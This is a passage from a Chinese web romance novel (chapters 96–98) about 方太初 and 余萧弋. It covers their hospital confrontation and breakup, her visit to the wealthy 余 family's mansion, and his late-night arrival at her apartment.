“你好可怕啊余萧弋!”小初惊呼出声,“既然看出来了为什么不当场跟我挑明?” “是我可怕还是你可怕啊方小姐?”他蓦地加重手上的力道,“你对我,可曾有过一丝真心和坦诚?” 小初蹙眉感受了一下他纷乱无序的动作,总他不像在跟她调.情,倒像是在疏解什么无法代偿的痛苦,“我只是不想你担心好吗?”她的声音低下来,“可我问心无愧!你后来不也看到了吗?他睡的是另外一边房子,我跟他根本就没有正面接触!” “但你敢否认你是在心疼他吗?甚至就在刚才,你对着他说那些话的时候,也一直在流眼泪,你有没有想过就站在你身边的我有多难受?” 小初呼吸一滞,“我心疼他干什么!我看他就像看路边一棵和我没有任何关系的树!树受伤了我也会分一点同情心出去好不好?至于刚才,我那是被肮脏的人性给震惊的,你看不出来?” 余萧弋委屈地咬了咬唇,“那你为什么不肯分一点眼神给我?我都伤成这样了,快疼死了,结果你一进门只想着你的感受,满脑子只有分手,根本不顾我的死活。” “我不顾你死活?”小初简直恨不得咬他一口,“我在家里都被你受伤的消息吓晕了!不然你觉得我爸妈会同意我生着病提前返港吗?” 余萧弋愣住,手上动作也跟着停了下来,“晕了?为什么?” 小初骂,“你是猪吗?自己不会想吗?” “怕我死。” 小初冷哼,“死了才好。” 余萧弋勾起唇,眉宇间终于恢复了一点温柔,“我偏不,免得我一死你就去找别人了。” 小初斜睨他,“那还敢给我来这么一出?今天要不是我亲耳听到,恐怕这辈子你都不会让我知道这件事的真相了吧?” “阿骢的车技你还不放心吗?” “你难道唔知淹死的大多都是会游泳的人吗?” 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接着,余萧弋又把整件事他怎么想又怎么做的都跟她仔仔细细交代了一遍,包括萧文然和余韬韬得知他受伤后的反应,至于他们后面会用什么雷霆手段来反击,那就不关他的事了。 总之,余巍巍出局是一定的了,甚至于余珺彦也很危险,除非爷爷故意装糊涂,否则很多东西是经不起查的。 小初半晌无语。 她自是早知道他不会像表面上那么简单,却也没想到他会腹黑到这种程度,为了接近目标可以迂回这么多步,把所有人都算进去的同时,还能把自己显得这么纯良无辜。 这样的男人,她拿什么心计去跟他玩感情游戏?现在是他爱她,自然什么都好,若他哪天不爱了呢? 最重要,若她哪天比他更先不爱了呢?她又该怎么从这段感情中抽身? “Babe,你害怕我了,是吗?” 小初只看着他,没承认也没否认。 很奇怪,在此刻无比复杂的情绪中,她还是可以很清晰地感觉到,她对他最多的感情还是喜欢和理解,其次是心疼,最后才是一点点不安。 余萧弋的语气小心翼翼的,“你忘了吗,是你跟我说的,我们要宏观地把控局面,就不能深究太多细节。我不这样,以后又怎么保护你和孩子?你真当余珺彦会对我们心慈手软吗?那只是因为,还不到时候。他能利用和伤害你一次,理论上就可以有无数次。我必须将这一切扼杀在摇篮里。” 小初的眼眶再次泛起湿意,“是我活得太简单了,” “不,不是你的错,是这世界的错。” 小初别开视线,根本不敢看他眼睛里的自己,喉咙仿佛被堵住,一句话也说不出来了。 “Babe,别跟我分手,好不好?我之所以不跟你坦诚,就是怕你担心,跟你当初对我瞒着余珺彦的事初衷是一样的。” 余萧弋亲了亲她的鼻尖,“你不觉得,本质上我们是同一种人吗?若有天有人侵犯你的领地,你也会跟我一样奋力反击的,不是吗?只是,你现在的领地里可能还没有我,不过没关系,我有耐心,可以慢慢等。” 他的指腹轻轻抚在她的唇瓣上,“别对我那么残忍,别一有个风吹草动就提分手,可以吗?我没有你想的心里承受能力那么强,可以一次一次当做什么事都没发生。” 一阵不知名难过袭来,小初极力控制,却还是没控制住眼泪的汹涌。 她又何尝不想像他希望的那样,什么都不多想,只安静爱他就好了,可奈何她天生聪慧敏锐,很多念头一旦形成,就很难再从脑子里赶出去。 余萧弋没再说话,只是轻轻帮她擦着眼泪,可那眼泪却似没有尽头似的,很快就把他的衣袖浸湿了。 “所以,你爸为什么要授意传媒曝光我们的事?”小初直直看向他,刚才所有的脆弱都被她悉数收回,“你错了,姓余并不是你的原罪,相反,我一直非常欣赏文然阿姨的大气通透和韬韬叔叔的乐观幽默,也很喜欢你们家的家庭氛围。但,这并不代表我心甘情愿做你们余家棋盘上的一颗棋子,被人手执命脉,随意利用和处置。别说你们家,连我父母要我做什么之前还都要跟我商量才行,我从小自主惯了,只是一个稍微好看点的男人,在我面前演演深情是不够的。” 余萧弋没想到自己会从她口中听到这些,整个人都陷入了巨大的惊愕中。 他下意识想反驳,却又不知从何反驳起。 趁他怔愣,小初立刻鱼一样从他身下游走开来,在他反应过来之前,她已经从床边走到了门口,并重新搭好了内衣的钩扣。 再回头,她眼神已经静下来。 然后她笑,“现在,可以跟我解释一下当初你为什么出现在那趟飞机上了吧?” “你说什么?”余萧弋近乎发疯。 “我说得还不够清楚吗?”小初握在门把手上的指节泛着白。 “别走,不准走。”他一步步走向她,声音已经艰涩到不行。 “解释吧。” 她不再给他任何有温度的情绪。 “我解释不了。”余萧弋的脊背颓然塌了下去,心脏不知在那里裂开了口,无力感抽丝一般从里面渗出来,将他整个笼住。 “你要想好。”小初的眼神中有种天真的执拗和残忍,“我只给你一次机会。” “Babe,我解释不了命运。”余萧弋不再向前,叹息一声,“就像我也改变不了我姓余,更没办法让我们的父母二十几年前不认识彼此。” 小初怔住。 很快又被一种无名的恐慌攫住。 好像什么东西崩塌了,真的再也没办法复原了。 错了,都错了。 “原来,我在你心里竟是这种人。”余萧弋突然笑出来。 即便已经狼狈成这样,他依旧眉清目朗,通身的矜贵之气。 让她想起第一次见到他摘掉口罩的样子,惊鸿一瞥,时光定格。 “你走吧,方太初。”他再次浅浅地勾了勾唇。 似是已经真的累了。 小初转动把手。 事已至此,两人之间已无退路。 “不过。”他努力控制住声音里的轻颤,“你是不是太小瞧我了方小姐?相处这么久,你竟还觉得我想得到什么东西需要这么卑劣吗?这世上,不是只有一个让你无法释怀的余珺彦,他的手段,我不屑。” 小初一句不想再听,直接推门而出。 可没走几步,她就像失去支撑后的枯叶一样,缓缓跌落下去,连视线都变得模糊。 曹旸见状赶紧飞速跑了过来,扶住她的肩,关切道:“你没事吧小姐?” 小初空洞地摇摇头。 没事的。 她在心里默念。 一切都会好的。 97.第 97 章 回到车上,医生立刻又给小初测了一次体温。 37.4℃。还有些低烧,但好在已经不需要吃退烧药。 一切果然正在变好。 和余萧弋拉扯太久,小初有些体力透支。 天气总是无法预测,北京下雪降温,香港却温暖如春连吹在脸上的风都是潮湿的。厚厚的毛衣贴在皮肤上有种令人烦躁的痒意,可眼下没有衣服可换,她只能把衣袖尽量往手肘上方挽了挽。 粗针毛线滑过皮肤的触感和他手腕上的医用纱布很像。 这个念头刚成型,她的视线就背叛了她的意志投向了高耸的住院部大楼。 时间还不算晚,目之所及几乎所有的病房都灯火通明,以至于她根本无法通过直觉判断出他的坐标,只能就这么静静看了一会儿。 曹旸和医生都没说话,车内气氛沉闷到了极致。 直至她自己意识到不能再这样下去了,才敛了敛心神淡淡开口,“走吧曹旸姐。” 曹旸启动发动机,尽管心里已经有答案,但出于职业习惯,她还是问了句:“去哪?” “便利店。” “便利店?”曹旸一愣。 “嗯。”小初点点头,表情有些委屈,“我饿了。” 曹旸的语气不自觉沾染了心疼,“还能坚持吗?阿姨炖了汤,还准备了几个清淡的小菜。”她看了看仪表盘上的时间,“最多二十分钟,我们就能到家。” “我撑不住了。”小初虚弱地笑笑,“曹旸姐,麻烦随便给我买点什么,三明治也好,饭团也好,对了,我要橙汁。告诉阿姨,不急着开饭,我暂时还不回家。” “不回家?”曹旸将车子拐出医院的内部道路,有些意外,“你还有别的安排?” 小初将自己伏在车载抱枕上,“我们去余宅。” “余宅?”曹旸差点误踩刹车,“你确定?这个时间,以及你这个身体状况?” “确定。”小初微微扬了扬下巴,眼底的神色晦暗不明,“时间还早,他们肯定都还没睡。当然,他们要是还能睡得着,我还挺佩服的。” 曹旸没再说话。 小初在车子后排将自己蜷缩成一个舒服的姿势,漫不经心地问道,“曹旸姐,你是不是不能理解我?” “理解啊。”红灯亮起,曹旸缓缓将车子停住,并习惯性把档位调至N,由衷道:“旺盛的生命力本来就是强者才有的天赋。我只是不太明白,你去余宅做什么,小余总知道吗?” 小初的指腹不自觉抚着抱枕上的刺绣纹路:“去要一个答案。” 曹旸担忧地看了她一眼,“这么……紧迫吗?” “嗯,十分紧迫。”小初的眼神很静地落在后视镜上,和她四目相对,“从小养成的习惯,错题不过夜。” 曹旸笑起来,“要不你是高材生呢。” 吃了东西,又在车上闭目养了会儿神,小初终于感觉她又活过来了。到了山下,她让曹旸先安排医生去酒店休息,准备自己开车上山。 曹旸被她吓到,说什么都不肯,“不行,你这个身体,我怎么能放心?” “没事的曹旸姐。”小初拉开后排车门利落跳下地,“我一向惜命,没有一定把握,绝不会拿自己开玩笑,这条路我之前走过,还算熟悉。” 曹旸不置可否,手却始终放在方向盘上没放开。 半晌,她才开口,“你知道吗,我上一份工作也是受托保护一位大人物在国外读书的千金,事先说好的,是二十四小时贴身陪伴,结果某天,她还是费尽心思甩掉我去参加了一个派对,后来的事情你应该已经听我说过,我一个人在医院里躺了几个月,那是我入行以来第一次也是唯一一次受那么重的伤。” 小初的瞳孔剧烈收缩了一下:“你被雇主报复了?” “没,是那个小姐在派对上被仇家绑架了,当时那个情况,我不拼命,她必死无疑。” 隔着降下来的车窗,曹旸的眸色极为认真,“小初,同样的事情我不想再经历一次,不止为我的职业生涯,也为你。天太黑,行车视线受阻,而你的状态不稳定。你是不是不想别人为你的感情买单,所以才要我和程医生都早点回去休息?” 小初沉默着不说话,心里却已滔天巨浪。她实在没想到,只是短短几个月时间的相处,她就已将她的性格底色看得如此透彻。 曹旸的聪明自然是毋庸置疑的,但归根结底,不还是她太没有城府,情绪过于外露吗? 不然,余珺彦怎么可能那么轻易就利用她这一点,将所有人都拖进棋局,成为他的棋子? 小初发现她现在简直连他的名字都不能想起,否则就是一阵无名火,恨不得把全世界都焚了。 刚刚在医院,她一直没有认可余萧弋的所作所为,但现在静下心来仔细想想,她又何尝不能理解他当时的处境? 只要还爱她,还想和她有未来,有些事他就是做也得做,不做也得做。 仔仔生日的那一晚,他一定难过和绝望极了吧?不然那么矜持克制的一个人,怎么会当着那么多人的面把自己喝到大醉?后面如果不是她跑回去找他,他是准备在酒店卫生间的地上度过一整夜吗? 这个傻瓜。 都被人家逼成那样了,还要选择一个人承担所有吗?她后来明明问了那么多次,他到底怎么了,为什么会那么累。 她更想知道的是,发生这么多事,他有没有一刻,对她的感情和信任产生过动摇?毕竟,就连她自己看了U盘里那些照片,都差点疯掉。 还是说,他认了,即便在他看来她根本没那么爱他,也无怨无悔? 包括他之前说过的,他宁愿死,也不会让她被伤害到半分,哪怕流言也不行,指的就是今天医院里他惨不忍睹的那一身损伤? 如果她没有提前返港亲眼目睹真相,他打算怎么做? 瞒她一辈子,然后继续纵容她在他的生活里为所欲为,无论发生什么,他都会不惜一切代价保护她吗? 他不觉得这样太超出了吗? 这又是何必呢?他们俩又都不是什么缺人爱的人,凭他余公子,找一个满心满眼都是他的女人,是什么难事吗? 小初死死咬住唇,极力压制着心底汹涌的感情。她从没想到有一天,自己的存在会成为别人的威胁。 直到这一刻,她才彻底明白她爸妈为什么一直反对他们在一起。 她们的确不合适。 他的世界太复杂,而他们不想她活得太复杂。 不是她智商和情商不够高,而是她实在欠缺心机和城府,因为从小得到了太多爱,对世界根本没有防备,看谁都像好人,又太有同理心,极容易付出感情。 这样的底色,不是她想改变就能改变得了的,一个闪闪发光的灵魂,在丛林法则中的目标太过于明显,即便能好好活下来,中间也要吃很多苦,而且是没必要的苦。 小初从没有如此恨自己的聪明和理性,这么快就看透本质,认清了两人之间的死局。 既然如此,那就到此为止吧。 不是不爱他,而是她太明白什么是最优解。 而且她一直觉得,男女之间爱得太深刻也是一种负累,会消耗掉人太多可以用在别的更有意义的事上面的精力。 她说了,失恋不过是自限性精神感冒,趁着双方认识时间还不长,他们很快都会痊愈的。 曹旸说:“你不用自责,这就是我们的工作,方先生给的钱,比你和我想象的都要多。” 程医生也笑:“没错。方小姐放宽心,我们都不累,就在车上等着你。” 小初不再坚持。 最后还是三个人一起上的山。 马上就要农历十五,天上不再是一弯上弦月,但也因此,月亮表面的月海更加清晰,一片银白的美丽光泽中,到处都是形状不规则的暗影。 山间的树林依旧深邃蓊郁,远处的海也依旧波光粼粼,一切似乎都没有变,但小初的心境已经变了。 余家对她的来访极为意外,大门口的安保人员一开始根本不敢放她进去,直至里面通过视频画面确认她是谁。 车子停到庭院里的时候,萧文然已经在房子门口等她。 曹旸和程医生马上被人带到了偏厅休息。 小初赶紧礼貌地问了好。 萧文然把她揽进怀里抱了好一会儿,才拍了拍她的背,声音艰涩地说了句,“辛苦你了,大老远从北京折腾回来。” 小初心一酸,眼泪有些不听话,拼了命地往上涌,“不辛苦,Theo都这样了,我只是坐几个小时的飞机而已,不算什么。” 萧文然温柔地帮她别了别鬓边凌乱的头发,没再多说什么。 两人一起向里面走去。 前几天那棵巨大的圣诞树仍旧醒目地立在客厅中间,只是这次,没有亮灯。 还有两天就是新年了,这个家里却完全没有了节日的气氛,到处都弥漫着压抑。 如她所料,除了余巍巍,所有人都在,甚至包括刚刚还在医院的余珺彦。时间有点晚,余芃芃的两个年幼的孩子看起来已经睡了,房间里因此格外安静。 她的身影一出现,大家就都神色各异地从沙发上站了起来。 小初努力忽略掉离她最近的余珺彦脸上的探究,勉强勾了勾唇。 “小方太初,你怎么来了?” 余韬韬大步走上前来,眼角都是慈爱的鱼尾纹,态度更是一如既往地热情,可也正因如此,小初心里的难过更加无法纾解,她不知道该怎么把这样的他和另外的形象联系起来。 方协文那天问她,他和余韬韬认识了二十几年尚且不敢说他是什么人,她到底是凭什么为他的人品打的包票。 现在她终于找到问题的答案了,或许凭的就是她的浅薄无知吧。 小初微微颔了颔首,再抬头,眼睛已经有些红:“我来看看爷爷的,Theo伤成这样,连我都担心到吃不下饭睡不着觉,他老人家一定更不好受吧?” 这样真诚的话,恐怕任谁听了都很难无动于衷吧? 事实也的确如此,她话音落下还不足一秒,房间里的人就不同程度地露出了动容神色,似是都没有想到她一个年仅二十岁的小女孩处世会如此周全。 就连萧文然都侧眸过来不无欣赏和满意地看了她一眼。 并跟大家解释道:“这孩子,本来Theo的事是瞒着她的,可也不知道她是从哪得到的消息,一听说就火急火燎从北京赶了回来,下了飞机就直奔医院,从医院出来还知道来看望爷爷,简直实心得让人心疼。” 小初在心里笑笑。 其实,他们都错了,她并非学不会虚伪,她只是不屑,不屑用它来维系她的人际关系而已,因为,对目前的她来说,需要她极力讨好的人际关系,还不存在。 余蓁蓁欣慰至极,“难怪爷爷说她是所有孙辈中最贴心和讨喜的那一个,这换成谁,能抵挡得住这样热气腾腾又毫无保留的一颗真心啊。” 余芃芃的眼中也泛着水光,“就是,我们Theo的眼光真好。这年头这样的女孩子可不多了,等见了面,我一定要再叮嘱一次他好好珍惜。” 余蓁蓁眨眼:“你放心,那一位也是个实心眼的情种,看对了眼就是一辈子的事,何须我们多嘴多舌。” 余芃芃说:“倒也是。” 大家都笑。 气氛似乎比她刚进门时候轻松了许多。 豪门到底还有豪门的气度,天塌下来,脊背都不能塌,该谈笑风生还是要谈笑风生,该打喝茶麻将也还要喝茶打麻将,不然,被外人看了去,还以为天只砸在了他们余家头上呢。 小初垂下眼睫。 想到她和他的缘分已经止步于今夜,她就心脏疼。 她不想再跟她们进行无意义的对话,直奔主题,“爷爷呢?” 余薛素心从厨房方向走过来,身后佣人手中的托盘里放着炖盅。 刚才她人虽然没在现场,客厅里的对话却是一字不差都落在了耳中,所以这会儿看向小初的神色也是无限慈爱的,“小初来得刚好,爷爷怄着气,这两天都没有好好吃东西,说不定看见你,心情能好一点。” 怄着气三个字就很微妙,他们当然不会跟小初太过直白地讲述事情的前因后果,毕竟家丑不可外扬,所以这句话,是说给在场的其他人听的。 小初不动声色地看了眼余韬韬和余珺彦,乖巧地说,“我洗个手,上去陪陪爷爷。” 余薛素心欣慰地点点头。 五分钟后,小初已经亲自端着托盘敲开了余绍鸿的卧室门。 老头似是真的被打击得不轻,整个人都在被子里佝偻成了一团,再没了当日在劲风中打高尔夫的气势。 且是背对着门口的,一副不想理全世界的防御姿势。 “都说了我不想吃,能不能让我安静地一个人待会儿?” 他说的是一句粤语。 小初把托盘放在床头柜上,才温柔开口,“爷爷,是我。” 余绍鸿的身体僵了一下,然后才缓缓翻身过来,对上她的目光。 “小初?”他不可置信地看了他几秒,才恍然,“他们让你来的?” 小初做出一个委屈的表情,“就不能是我自己想您了吗?您也太武断了,上下嘴唇一碰就把我一片真心泯灭了,早知道,我就不来了。” 余绍鸿坐起身,心里一阵熨帖,“好啦,爷爷给你道歉,你别生气。” 小初赶紧拿了个枕头垫在了他背后。 没好气中又带着点撒娇,“岂敢!” 余绍鸿看她一眼,“你已经看过Theo了?” 小初“嗯”了一声。 “他今天怎么样,好点没有?” “您要我怎么说?客观来讲他情况确实不算严重,我也不能在您面前夸大其词。医生说他今晚再观察一下就可以出院了。” 小初端过炖盅,亲自舀了一勺汤喂给余绍鸿,她对这些事倒没什么心理负担,主要她从小就在姥姥姥爷身边长大的,对老人有种格外的亲切感,半点没觉得嫌弃。 余绍鸿自己倒有点不好意思,“乖,爷爷自己来就好。” 小初从善如流,然后就那么坐在一旁静静看着他喝了一盅汤。 “主要是后怕。”小初接过汤盅,放回床头柜,又递了张纸巾过去,“爷爷。”她的声音低下去,逐渐哽咽,“您有没有那么一瞬间想过很可怕的事?他身上那些伤口,如果运气不好刚好偏了一寸……” 余绍鸿愣住,慢慢红了眼睛。 “也不用问,我和Theo认识时间不长,都没法接受,更何况一向最疼他的您?”小初决定下猛药,“可事情怎么会变成这样呢?Theo的性格您了解,一个向来矜持有礼,端方克制的君子,到底碍了谁的事了,要被这样对待?” 余绍鸿眯了眯眸子,“他跟你说什么了?” 小初摇头,眼泪不停不停地落下来,“他什么都没说,只说这只是个小意外,让我别担心。” 不用照镜子,她都知道自己哭起来的样子感染力有多强。 她整个五官,就眼睛最像妈妈,笑起来是明媚天真,哭起来就是摄人心魄的故事感,只要她想,根本没人逃得过。 果然,余绍鸿很快就败下阵来,“难为他这么懂事,顾全大局。” 小初无助地抓住床单边缘:“爷爷我好害怕,总觉得他背后有双不怀好意的眼睛一直看着他,时不时就要制造一点危险给他。幸好他身边还有您,可以一直保护他。” 余绍鸿似是被这句话吓到,半晌才喃喃自语道,“我,真能一直保护他吗。” “一定能。”小初的眼神无比坚定,“您好好保养身体,争取活个五百岁,永远永远保护我们,好不好?尤其,不能再一有什么事就不吃饭了,记住没?” 余绍鸿嗔了她一眼,“原来是在这等着我呢。” 小初抹了抹眼泪,“家里已经够乱了,您可不能再添乱了,大家都为您担心呢。” 余绍鸿无限动容地点点头,连脊背都挺直了几分,“好,爷爷答应你。” 小初这才破涕为笑,“这可是您说的啊,千万别说话不算话,我还想过段时间好好练练高尔夫,一定要赢您一次呢。” 余绍鸿长叹一口气,终于笑出来,“好,那咱们一言为定。” 小初说:“那我回去了,时间不早了。” 余绍鸿说好。 可就在她要转身时,他又突然叫住她,问了句:“小初,你是学数学的,能告诉爷爷你平时都是怎么调整失败时的心态的吗?” “比如哪个方面?” “比如。”余绍鸿语速很慢,似是蕴藏着无限痛苦,“一个在你身边长大被你寄予无限厚望的孩子,从小就精明聪敏,心思活络,遇事会变通,懂转圜又善结交,书读得虽然不好,却极有生意头脑。” “十八岁就投资成功赚了人生第一桶金,之后的很多年,他也总是能抓住风口,既擅长资本运作又懂得应对危机,还总能一眼看透政策上的漏洞,在官方关闭这些漏洞之前,他早把里面能赚的钱都赚过一遍。” “相对于另外几个平庸又墨守成规的子女,他的才华与天赋是那么耀眼夺目,完全是继承人的不二人选,结果谁能想到,有一天他突然就开始暴雷,到处捅娄子。”余绍鸿痛心疾首。 “为了证明你的眼光没错,更为了维持心中的希望,你只能一次一次,一次又一次地把他扶起来。他这个人也很神奇,每次失败后,又很快就能找到新的机会,东山再起。” “二十几年的时间里,他的人生就像波浪线一样,不停在起起伏伏,但你永远判断不出他什么时候在谷底,又什么时候能到达顶峰。如果是你,这样的孩子,你还愿意再救他一次吗?还是说,干脆直面自己的失败,另寻其他的路走走试试?” 小初天灵盖差点因为他这番话炸开。 他说的莫非是,余巍巍? 如果是,那很多事情似乎就解释的通了。 只是她没想到余巍巍竟然也有过那么辉煌的过去,曾差点成为继承人的不二人选。 小初想了想,不答反问,“您确定他第一桶金是投资赚来的,不是投机赚来的吗?” 余绍鸿愣住。 小初说:“一般擅长投机的人,都有高风险偏好。再加上他还聪明过人,心里必定极为自负,这样的人,通常没办法接受自己的失败,为了挽回局面,他会陷入某个误区,一错再错,直至万劫不复。” “竟然……是这样吗?” 小初说,“如果是我,我会在他第二次犯错时候就果断放弃他,只给一次机会看看他能不能改。” “可他毕竟……”余绍鸿痛苦地覆住脸,老泪纵横,“真的很有生意头脑,甚至可以说是个商业奇才。” “其他的人,真的那么平庸吗?我是觉得,心正比较重要,守成也是种难得的智慧。” 外界不都说四小姐余蓁蓁最有智慧吗,您为什么就看不到呢? 小初上前,抽出纸巾帮他擦了擦眼泪,“别哭了爷爷,Theo要是知道您这么哭,会伤心死的。爷爷在他心里可是第一重要的人。” “Theo,是了,我还有Theo,他才是集大成的那一个。” 小初心里点头,面上却没显出来,轻声哄道:“您啊,还是先考虑怎么让自己活到五百岁吧。” 余绍鸿不语,只是一味地委屈和心痛。 半晌才问,“所以是我一开始就赌错了?” “怎么会呢?”小初安慰道,“我虽然没进过赌场,但电影里演得很明白了,不是您赌错了,是您被人出老千了。” “谁?” 小初指了指天花板。< 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临别前,她才深深看了余韬韬一眼,笑道,“韬韬叔叔,您不送送我吗?” 余韬韬一愣,马上点头,“肯定要送的,你等叔叔拿下车钥匙。” 萧文然的视线在小初脸上凝了两三秒,才转向她老公,“那你开车慢点。” 余韬韬的双色飞驰内饰也很浮夸,小初一上车就嘴角一抽。 曹旸的车在前面开路。 时间已接近夜里十一点。 月亮又大又圆。 车子慢慢开到半山,小初才开口,“韬韬叔叔,我想问问,您当初为什么要授意传媒曝光我和Theo的事?” 余韬韬的脚骤然踩在刹车上,害得两人身体都倏地向前一倾,小初此刻只能庆幸,她怎么那么有先见之明,让曹旸走在了前面,不然这会儿肯定要追尾。 “你知道啦!”余韬韬的眼睛亮的堪比天上月亮,神情极为骄傲和得意,“叔叔这波助攻怎么样?” “……” 他的脑回路是不是被雷劈过? “小方太初,你要永远记得,叔叔可跟那帮满脑子算计的老古董不一样,叔叔是真爱至上派。就当初你和Theo那状态,我要不搞出点事来帮你们催化催化,你们还能走到今天?” 小初仔细想了一下,要是没那件事,恐怕她确实还生不出那么多勇敢来认领他,直面她父母的质疑和否定。 自然也不会那么快和他走到今天。 可,余韬韬这什么破催化剂,他不知道加速化学反应的结局就是……更快玩完吗? “你们什么时候知道Theo在和我交往的?” “我想想啊。”余韬韬认真回忆了一下,“是不是你妈妈来港参加艺术节的时候?你也别怪我们知道好吧?你老公那会儿都恨不得昭告天下了,我们比他小姑还迟知道就已经很夸张了。” 小初红了脸,马上指正他,“韬韬叔叔,您不要乱说话!什么你老公!” 余韬韬笑,“我说的是你老公,不是我老公。” 小初快被气死,敬语也不用了,“行,你说的是我老公,但那也不能乱说!我们才几岁啊!” “好。”余韬韬投降,“我再也不乱说你老公了。” “……”小初感觉自己跟他说不清了,无语道,“您好歹是个长辈,怎么能这样!” 余韬韬眨眼,“我说了,我是真爱至上派,在真爱面前,人人平等。不然,你觉得我当初怎么追上的你文然阿姨?她那会儿可是高冷得很,根本不搭理我,我一路从上海追到深圳,天天在她楼下守着,这才守得云开见月明。” 小初看他神色不像有假,更加懊恼,今天在医院,她怎么能质问余萧弋他为什么出现在那架飞机上呢,这不是等于把两人之间的一切都否定了吗? 太伤人了。 余韬韬仍自顾自说着,“你说我怎么就没想到你和Theo会喜欢彼此呢,早知如此二十年前你一出生,我就帮你们把娃娃亲定了多好。” 小初被他的话说得有些恍惚。 “不行不行,你爸不会同意的。”余韬韬马上否定了刚刚那个想法,“他看不上我们家Theo,我们知道。” “没有的事!”小初有些心虚,但不耽误她嘴硬,“您别乱说!” “小方太初,你可别当韬韬叔叔傻,我聪明着呢。你爸妈对我家Theo多避之不及啊,真当我们看不出来?不然当初我和你文然阿姨怎么会犹豫。” 小初说不出话了。 “Theo是我们第一个孩子,等你将来做妈妈就知道了,第一个孩子在父母心里啊,永远有特殊的地位。所以我们心疼他,不想他委屈,不想他被别人看不上,也很不服气,凭什么?你固然很优秀我们都知道,可平心而论,Theo也不差吧?为了培养和教育他,我们真的是费尽心血,才把他养成这副你喜欢的样子。我们也不是随便把他养大的。” 小初红了眼睛,小声说道,“他的优秀,您和文然阿姨肯定没少费心。” “所以你能明白我们此刻的心情吗?得知他差点被人毁掉,甚至被弄死的心情吗?” 小初说不出话,只是哭。 “他从小就懂事,向来不让我和他妈妈操心。从男人的角度,我也敢说他是个值得托付的人,所以拜托你了,小方太初,以后多对他好一点,多为他跟你爸妈说说好话,好吗?他才活了不到二十二年而已,却受了太多委屈。” 小初的眼泪怎么都擦不尽,却已没办法答应对方任何。 她甚至都不敢想萧文然和余韬韬要是知道真相,会对她有多么难过和失望。 直到她回到曹旸车上,余韬韬还又说了句,“拜托了。” 小初几乎哭了一路。 身体感冒自然好转,精神感冒却正式来临。 太痛了。 早知道分手这么痛,她感觉她最开始都不应该谈。 到了小公寓楼下,她已经哭到头皮发麻,脑子里都是余萧弋那张深情而破碎的脸,怎么都挥之不去。曹旸将车停住,叫了她好几声,她才回过神来,浑浑噩噩准备下车。 “不是。”曹旸艰难开口,“我主要想问问你,那边树下站着的,是不是小余总?” 只一句话,就让小初彻底清醒过来,忽地转眸过去。 然后就像有什么心灵感应似的,他也刚好抬起头来,两人目光撞上。 确切地说,是她撞上他的,因为隔着防窥膜,他肯定看不见她。 大晚上来见她,他竟然还换了身衣服,远远站在那里,跟树一样修长和静默,也跟树一样莫名有些动人。 小初慌极了,赶紧叮嘱曹旸,“曹旸姐,你快让他走,就说我不想见到他。” 曹旸看她一眼,摊摊手,“抱歉,我爱莫能助。” “为什么!我爸不是让你拦着他吗?” “方总今天给了最新指示,说以后我都只负责你安全就行,别的不用再管。” 小初愣住,“不管了?” 曹旸笑,“嗯,不管了。” 小初气急败坏,“怎么不该管时候管那么严,该管的时候又不管了!” 程医生没见过余萧弋真人,不禁十分好奇,“小余总竟然比网上照片里看着还要帅啊!天呐,他脸怎么那么小,这什么超绝头身比啊!” “就是这个额头上的纱布有点碍眼。” 下一秒,她就捂住了嘴,“救命,他走过来了!” 小初无语,“该喊救命的是我吧!” 在三个人各怀心思的注视中,余萧弋已缓缓走到车边,并把手按在了后排车门的把手上。 小初立刻喊曹旸,“快快,把车门锁上!” 可是已经来不及了。 门已经被他打开了。 小初只能扯过抱枕挡住半张脸,有些惊恐又有些尴尬地看向他。 “都到家了,怎么不下车?” 他声音温柔,一副两人之间什么事都没有发生过的样子。 没有分手,更没有互放过狠话。 “关你什么事?”小初防备地向后退了退,“医生不是让你留院观察吗?你怎么跑出来了?” “医院的床不好睡,我想看看你家的床会不会好点。” 曹旸立刻露出一个牙疼的神色来,并当机立断跳下了车。 程医生倒是一脸姨母笑,但跳车的动作却毫不含糊。 “我上去让阿姨准备准备开饭。”曹旸丢下这么一句,就拉着程医生先上了楼。 “喂!”小初要疯了。 “哦对了,车钥匙在我座椅上,你一会别忘了锁车!” 小初只用了几秒就接受了自己被抛弃的事实,“余萧弋,你给我闪开。” 她眼睛都快肿得不行了,根本不敢抬头看他。 余萧弋笑,“阿姨做了什么饭,我也饿了,我晚上都没吃。” “这是我家!”小初忍无可忍,“想吃饭回你自己家吃去。” “怎么?”余萧弋缓缓俯身下来,与她隔着车门相望,“就许你去我家,我就不能来你家吗?你做事总要公平点吧?” “……” “你去我家干什么去了?” “和你有关系吗。”小初咬牙切齿,“你们家我又不是只认识你。” “好极了。”余萧弋拍拍手,“刚好你们家我也不是只认识你。那我就先上去了,你记得锁车。” 说完他就大踏步转了身,向入户门走去。 “喂!”小初对着他的背影大喊,“你怎么耍起无赖来了!” 余萧弋不答,甚至连头都没回,只是隔空跟她挥了挥手。 小初咬了咬唇。 98.第 98 章 小初在刚刚那棵树下独自站了一会儿。 月光不停落下来,和北京那个中式庭院里的雪一样,都给人一种非常寂寥的感觉。 余萧弋静默站在这里时的身影蓦地闯入脑海,她的心突然很疼。 上楼的时候,正赶上曹旸捧着个砂锅从对门走出来,手上的隔热手套刚好是熊猫造型。 别开视线的动作快到连小初自己都怔愣了一下。 然后她才意识到,她在应激。 熊猫是郭羡如最喜欢的元素,可此刻于她却无异于穿在心口的线,只是看一眼,都让她觉得自己正在被撕碎。 虽然不想承认和服输,但恐怕,余珺彦带给她的心理阴影,很长一段时间都没办法消除了。 小初叹口气,问道:“干嘛端过来,大家一块在你们那边吃一下不就好了吗?” 曹旸抬眸看她一眼,淡笑,“谁要做你们的电灯泡。再有,阿姨给你准备的宵夜太清淡,我和程医生都不喜欢,我们打算去外面吃川辣蟹和椒盐濑尿虾,顺便喝杯啤酒。所以拜托,你今晚乖乖的,有什么话和他好好说,千万别弄出什么需要我中途回来收拾的局面来,不止为你,也为我的职业生涯,好吗?” “……”小初默了默,随即说道:“这么吃海鲜喝啤酒,也不怕痛风。” 曹旸解释,“我和程医生投缘,总要招待一下。而且今天实在累,喝了酒,回来好睡。你的药程医生已经交代小余总了,待会儿别忘了吃,吃完好好睡一觉,明天什么都好了。” 小初再次沉默,过了几秒,才直直看向曹旸:“曹阳姐,你为什么要维护和支持他?明明我才是你的人。就这么把我和他关在一个房间里,万一他真对我做出什么不可饶恕的事来,后果谁能负责?” 曹旸顿住,眼底逐渐勾勒出一丝荒谬,“你不信他?那谈什么恋爱?” 小初倔强地说:“我现在谁都不信。” 